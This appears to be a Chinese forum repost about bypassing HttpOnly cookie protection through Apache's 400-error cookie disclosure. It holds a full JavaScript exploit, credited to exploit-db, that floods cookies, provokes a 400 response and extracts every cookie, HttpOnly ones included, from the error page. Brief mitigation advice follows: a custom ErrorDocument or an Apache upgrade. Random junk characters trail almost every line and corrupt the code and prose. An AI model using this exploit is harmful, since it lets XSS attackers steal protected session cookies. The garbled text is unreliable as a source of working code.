很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
) B/ M3 |+ p6 _2 z" Z
' }8 n2 x% W% m% S/ A( E+ ?7 V3 x用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
* m4 ^" |, Y0 M* U 2 X3 L9 w% Q9 w7 R _
6 a7 E D% e4 L// http://www.exploit-db.com/exploits/18442/
/ I l# I; R( Zfunction setCookies (good) {
. k# Y) G" \! X9 c4 n// Construct string for cookie value
+ i( ^- i* w) Y4 ]8 E' R& Ovar str = "";% ~, F0 ?0 u: a0 G
for (var i=0; i< 819; i++) {+ |+ t; f( o2 `9 s+ s% Q& S
str += "x";6 G7 | |" o$ n
}2 J) t5 n s6 v# G
// Set cookies
( }6 e r/ r9 I: t# Wfor (i = 0; i < 10; i++) {' j$ R0 Y: g- H* m
// Expire evil cookie3 Y' x$ V' C% r8 Y' `, Y0 h
if (good) {
" h- I+ v E/ J7 m, ]8 wvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
( b8 F1 L. U! X) c" }}
( T6 o8 \7 \6 M' z// Set evil cookie2 C% q" ^: N% L- K% |8 q9 L! H. K- C
else {: T' s3 n1 A" h
var cookie = "xss"+i+"="+str+";path=/";$ X. A2 L6 k$ n) U6 ]/ \( u( F
}
: h' ~' p% {9 }; Ddocument.cookie = cookie;
1 a5 ^- e; E: P/ g1 ?}
( x1 J1 o3 q" T( x5 s# d T}
% n; Y# b$ u; ?. e) kfunction makeRequest() {
9 c# f6 j5 M7 G& ~+ [setCookies();
! k" L) P1 H \- n) yfunction parseCookies () {' k% J' B. Z5 D( ~: X8 \; ?
var cookie_dict = {};
$ W" F7 ~; J7 o8 ~2 r// Only react on 400 status: L9 R$ f* x7 c. ?& ~) k( V
if (xhr.readyState === 4 && xhr.status === 400) {4 k6 F$ t9 r! S# @: w" `
// Replace newlines and match <pre> content
8 }; d. p6 {" P8 R# z* K* p) \0 ^var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);% R9 J: f! Q- E7 C4 y
if (content.length) {
( M1 v# [% ?9 Q, x0 c& J( G# H// Remove Cookie: prefix
, [! G5 u9 u& ]) o( f+ Zcontent = content[1].replace("Cookie: ", "");! z6 f0 O8 y; U2 w
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);* J8 N6 t2 v# ?8 A: d" `& H! X& j3 Y
// Add cookies to object0 k% g5 f5 ]9 v: _# b2 T/ A
for (var i=0; i<cookies.length; i++) {- ^7 d Z& Q' n, V) J
var s_c = cookies.split('=',2);
5 ^1 K. F: b5 \5 Vcookie_dict[s_c[0]] = s_c[1]; \5 l3 {) j) ~* ?0 H' ?. l" D
}
* O. I, o# L) ]. o}
4 ~0 ~# X: ^' m; N( T/ P! X2 F// Unset malicious cookies: j" d$ o* @% ], R" j$ D
setCookies(true);. t$ W" D" T% ~" Y. C
alert(JSON.stringify(cookie_dict));+ v. B$ _! M$ l; d- i) }: |+ }
}
# t) T1 a1 _3 a% |; b$ c}, \0 n/ J' {. g
// Make XHR request
W' l$ M. q1 J8 a* {var xhr = new XMLHttpRequest();# B! b; Q4 U, t5 s0 i% K O
xhr.onreadystatechange = parseCookies;2 }& @, A8 E, f& l
xhr.open("GET", "/", true);
8 I3 L0 U/ p/ pxhr.send(null);( F: M7 o7 s& A, F- p
}
. h3 t8 ]6 N" _makeRequest();% m; \" B& w% k' q ?$ z9 O: M* H
' t& z3 H _( O+ t$ I: [" T# o你就能看见华丽丽的400错误包含着cookie信息。0 a* I: j9 @' |" w& Z$ F$ h2 V
, ]! B) d( f+ V( J8 @
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#7 m5 v0 L! p/ r: F6 C! x
9 g6 D9 \% b: F4 P: R3 a. x7 L# ^
修复方案:& O9 A$ r) x* C) H6 e
5 T: G: O9 x8 }5 i8 r7 k& [( t1 L" C2 q
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下% g" g" r7 [' {" j/ o! z5 H: Y
" ], i+ p, z; G ?; ]$ R
In the event of a problem or error, Apachecan be configured to do one of four things,
% _9 V9 ~4 N* p& d- @2 s. S% U o1 H+ H5 ?
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
) h9 v2 |# C6 \3 B; B1 }2. output acustomized message输出一段信息
! I; ~0 h% G! K/ y h9 H% N* W3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
/ a6 T# W/ I# n4. redirect to an external URL to handle theproblem/error转向一个外部URL! Q7 T. k8 F7 f) B+ T' W
* o X; s; u) q8 {* w# a/ M5 Y: y. n
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
$ i0 }) `+ J/ C" L6 u
" G0 `# x) [6 C% b% W5 TApache配置:3 B8 ~. _: e: c8 C
* P8 U; B' g) _1 ^: cErrorDocument400 " security test"
* c: |8 @3 r7 K0 O. E3 Y" X5 K6 m
$ E9 l1 s5 d+ {+ b: P+ `当然,升级apache到最新也可:)。
2 h4 H1 g8 g. D( \* G) e2 Z% x9 A4 l9 ]- l: |
参考:http://httpd.apache.org/security/vulnerabilities_22.html/ Z, R& G) a" z7 B1 O$ S
5 q. w E, G/ t4 I* @) E |